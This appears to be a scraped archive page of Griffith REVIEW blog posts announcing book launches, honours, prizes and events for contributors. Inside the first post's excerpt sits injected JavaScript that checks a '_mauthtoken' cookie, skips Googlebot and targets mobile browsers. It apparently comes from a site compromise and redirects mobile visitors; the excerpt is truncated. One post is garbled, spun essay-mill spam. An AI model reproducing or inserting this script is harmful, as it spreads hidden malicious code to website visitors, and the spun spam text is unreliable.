Posts by Jerath Head
Liars, Witches and Trolls
Congratulations to Mary Delahunty whose new book about Julia Gillard, Gravity: Inside the PM’s office during her last year and final days, is being launched on 2 July in Melbourne. If you want to get a taste, read Mary’s terrific essay from Griffith REVIEW 40: WOMEN & POWER, ‘Liars, witches and trolls‘.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a…
Read MoreCongratulations to Griffith REVIEW contributors
Congratulations to Griffith REVIEW contributors who have been recognised in this year’s Queen’s Birthday Honours List:Tom Griffiths AO for distinguished service to tertiary education, particularly social, cultural and environmental history, and through popular and academic contributions to Australian literature.Tony Wheeler AO for distinguished service to business and commerce as a p ublisher of travel guides, and as…
Read MorePacific Highways writer selected for prestigious program
Griffith REVIEW 43: Pacific Highways contributor, Alison Wong, has been selected to take part in a writers’ exchange with China to work on a memoir inspired by her Pacific Highways essay. She will be the first New Zealand writer to join the prestigious Shanghai International Writers’ Program. About eight writers from all over the world are selected each…
Read MoreCongratulations Kris Olsson & Ashley Hay
Kris Olsson was joint winner of the Douglas Stewart Prize for Non-Fiction for her masterful and heartrending book, Boy, Lost. Ashley Hay took out the People’s Choice Award for The Railwayman’s Wife.
Read MoreExclusive events with Lloyd Jones
Griffith REVIEW hosted two very special events in April with author Lloyd Jones. The first, a special Pacific Highways event at the State Library of Queensland on 10 April 2014 can be viewed here. The second, a very successful webinar ‘What to write about: the authenticity of the writers’ voice.’ can be viewed here.
Read MoreHotel Royale on Liverpool
Recently the redevelopment of Tasmania’s main hospital was put on hold for up to six months while the troubled $586 million project is reviewed. Danielle Wood wrote an essay for Griffith REVIEW 39: Tasmania – The Tipping Point? from a very personal perspective with great insight into the daily happenings at the ‘Hotel Royale’. Read Hotel Royale…
Read MoreTHE FUTURE OF Reproduced Guides In Your Virtual Grow older For longer than 500 years, reproduced novels have already been the principal and undisputed moderate by which insight is moved, material are pay for essay, beliefs are expressed, and also which legal guidelines are codified. Acquiring been formulated within the fifteenth century by Johannes Gutenberg,…
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It includes Gregory O’Brien’s documentary poem ‘Memory of a fish’, poet Ya-Wen Ho’s reflections on poetry as social action, and two bonus poems by James Brown. You’ll also discover additional essays and fiction by more of New Zealand’s best writers. Download PDF format Download ePub format Download Kindle compatible format
Read MorePacific Highways & Cultural Solutions
10 April 2014, BrisbaneState Library of Qld Join Lloyd Jones for a discussion on the exchange of people and culture in New Zealand and how the authority of the writer’s voice imagines or defines a place. Seats are strictly limited so book now. 11 April 2014, WebinarMasterclass with Lloyd Jones Join acclaimed author Lloyd Jones…
Read MoreA ‘Stella’ achievement
Congratulations to Griffith REVIEW contributor Kris Olsson who has been shortlisted for the Stella Prize for her wonderful family memoir, Boy, Lost (UQP).
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Walkley Awards 2013
Winning Double
Melissa (left) won the long feature writing award for her work ‘Sinking below sight‘ which was published in Edition 41: Now We Are Ten.Kathy (right) received the coverage of indigenous affairs award for her work ‘Channelling Mannalargenna‘ which was published in Edition 39: Tasmania – The Tipping Point? Melissa and Kathy are regular contributors to Griffith…
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